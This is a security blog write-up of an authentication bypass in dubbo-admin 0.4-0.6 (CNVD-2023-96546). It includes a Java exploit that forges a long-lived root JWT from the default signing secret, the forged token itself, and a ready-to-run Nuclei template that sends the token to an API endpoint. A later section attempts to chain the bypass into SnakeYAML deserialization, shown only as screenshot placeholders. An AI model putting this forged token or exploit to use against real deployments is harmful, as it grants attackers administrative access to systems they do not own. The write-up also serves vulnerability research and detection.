dubbo-admin-authorized-bypass-CNVD-2023-96546

dubbo-admin_JWT_BYPASS

Affected versions dubbo-admin 0.4-0.6

0x01 analyze

org/apache/dubbo/admin/controller/UserController.java#login()

1
2
3
4
5
6
7
8
9
10
11
12
public String login(HttpServletRequest httpServletRequest, HttpServletResponse response, @RequestParam String userName, @RequestParam String password) {
ExtensionLoader<LoginAuthentication> extensionLoader = ExtensionLoader.getExtensionLoader(LoginAuthentication.class);
Set<LoginAuthentication> supportedExtensionInstances = extensionLoader.getSupportedExtensionInstances();
Iterator<LoginAuthentication> iterator = supportedExtensionInstances.iterator();
boolean flag = true;
if (iterator != null && !iterator.hasNext()) {
if (StringUtils.isBlank(rootUserName) || (rootUserName.equals(userName) && rootUserPassword.equals(password))) {
return jwtTokenUtil.generateToken(userName);
} else {
flag = false;
}
}
1
直接确定用户名和密码填写即可,然后获取jwtToken

org/apache/dubbo/admin/utils/JwtTokenUtil.java#generateToken()

1
2
3
4
5
6
7
8
9
10
public String generateToken(String rootUserName) {
Map<String, Object> claims = new HashMap<>(1);
claims.put("sub", rootUserName);
return Jwts.builder()
.setClaims(claims)
.setExpiration(new Date(System.currentTimeMillis() + expiration))
.setIssuedAt(new Date(System.currentTimeMillis()))
.signWith(defaultAlgorithm, secret)
.compact();
}

那么这里是jwttoken的处理方式,包括认证时间、过期时间、用户名。

org/apache/dubbo/admin/utils/JwtTokenUtil.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
* Jwt signingKey configurable
*/
@Value("${admin.check.signSecret:}")
public String secret;

/**
* token timeout configurable
* default to be an hour: 1000 * 60 * 60
*/
@Value("${admin.check.tokenTimeoutMilli:}")
public long expiration;

/**
* default SignatureAlgorithm
*/
public static final SignatureAlgorithm defaultAlgorithm = SignatureAlgorithm.HS512;

该类定义了固定的秘密、过期、默认算法。 现在我们知道了加密方式,我们就可以使用假jwt来登录绕过了。

org/apache/dubbo/admin/authentication/impl/DefaultPreHandle.java#authentication()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 public boolean authentication(HttpServletRequest request, HttpServletResponse response, Object handler) {
HandlerMethod handlerMethod = (HandlerMethod) handler;
Method method = handlerMethod.getMethod();
Authority authority = method.getDeclaredAnnotation(Authority.class);
if (null == authority) {
authority = method.getDeclaringClass().getDeclaredAnnotation(Authority.class);
}

String token = request.getHeader("Authorization");

if (null != authority && authority.needLogin()) {
//check if 'authorization' is empty to prevent NullPointException
if (StringUtils.isEmpty(token)) {
//While authentication is required and 'Authorization' string is missing in the request headers,
//reject this request(http403).
AuthInterceptor.authRejectedResponse(response);
return false;
}
if (jwtTokenUtil.canTokenBeExpiration(token)) {
return true;
}
//while user not found, or token timeout, reject this request(http401).
AuthInterceptor.loginFailResponse(response);
return false;
} else {
return true;
}
}
}

这里可以分析一下,从Authorization中获取jwt,然后确定过期时间。现在我们有办法对其进行加密,就是针对一个长期不过期的jwt。

0x02 exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
package org.apache.dubbo.admin.controller;

import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;

import java.util.Date;
import java.util.HashMap;
import java.util.Map;

public class jwt {
public static String generateToken(String rootUserName) {
String secret = "86295dd0c4ef69a1036b0b0c15158d77";
Long timeStamp = 9999999999999L;
Date date = new Date(timeStamp);
final SignatureAlgorithm defaultAlgorithm = SignatureAlgorithm.HS512;
Map<String, Object> claims = new HashMap<>(1);
claims.put("sub", rootUserName);
return Jwts.builder()
.setClaims(claims)
.setExpiration(date)
.setIssuedAt(new Date(System.currentTimeMillis()))
.signWith(defaultAlgorithm, secret)
.compact();
}
public static void main(String[] args) {
String root = jwt.generateToken("root");
System.out.println(root);


}
}

In this way, you can get root’s jwt.

Calculate and get

1
eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjk5OTk5OTk5OTksInN1YiI6InJvb3QiLCJpYXQiOjE2OTkwODM2Mzd9.wKRqJkWxr_nVDcVVF5rniqhnACtqaDnYUUu55g-atkIwRIt1A-SMpKqBN5zrGZl4kFVcrjzMvXsYqfqf0N9Gbg
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
id: dubbo-admin_Unauthorized_bypass
info:
name: Template Name
author:
severity: medium
description: dubbo-admin Unauthorized access bypass
reference:
- https://
tags: apache,dubbo-admin
requests:
- raw:
- |+
GET /api/dev/consumers HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/plain, */*
Authorization: eyJhbGciOiJIUzUxMiJ9.eyJleHAiOjk5OTk5OTk5OTksInN1YiI6InJvb3QiLCJpYXQiOjE2OTkwODM2Mzd9.wKRqJkWxr_nVDcVVF5rniqhnACtqaDnYUUu55g-atkIwRIt1A-SMpKqBN5zrGZl4kFVcrjzMvXsYqfqf0N9Gbg
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.5112.102 Safari/537.36
Referer: http://{{Hostname}}/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

matchers:
- type: word
part: header
words:
- 'HTTP/1.1 200 '

A poc of nuclei. You can quickly verify permission bypass.

0x03 尝试找r点

image-20231106195354794

pom里面有snakeyaml。

自然想到yaml.load()。

org/apache/dubbo/admin/common/util/YamlParser.java

image-20231106195602958

最后找到这两个,可控的地方。

我门跟一下下面的

org/apache/dubbo/admin/service/impl/MeshRouteServiceImpl.java

image-20231106195729394

可以看到是检查mesh的规则。

image-20231106195807880

找一下调用,发现在创建规则和更新时都会触发。

org/apache/dubbo/admin/controller/MeshRouteController.java

image-20231106200004806

image-20231106200043446

最后也是找到路由点。

接下来测试一下

image-20231106201002652

随便输入,然后替换为伪造的jwt

image-20231106201127532

image-20231106201325511

是能成功登入的

来到msh路由

image-20231106201410048

image-20231106201624404

image-20231106201718869

image-20231106201800526

跟进一下,发现SafeConstructor()开启了白名单。G.

image-20231106202141390

手动改了后,重新尝试。

image-20231106202341361

image-20231106202403421

可以成功执行。

image-20231106202532708

查看了一下版本 0.3开始SafeConstructor(),

image-20231106202618841

0.2看来可以的。

image-20231106202833829

单jwt机制在0.4引用。鸡肋。

声明

此文章 仅用于教育目的。请负责任地使用它,并且仅在您有明确测试权限的系统上使用。滥用此 PoC 可能会导致严重后果。


dubbo-admin-authorized-bypass-CNVD-2023-96546
https://unam4.github.io/2024/01/10/dubbo-admin-authorized-bypass-CNVD-2023-96546/
作者
unam4
发布于
2024年1月10日
许可协议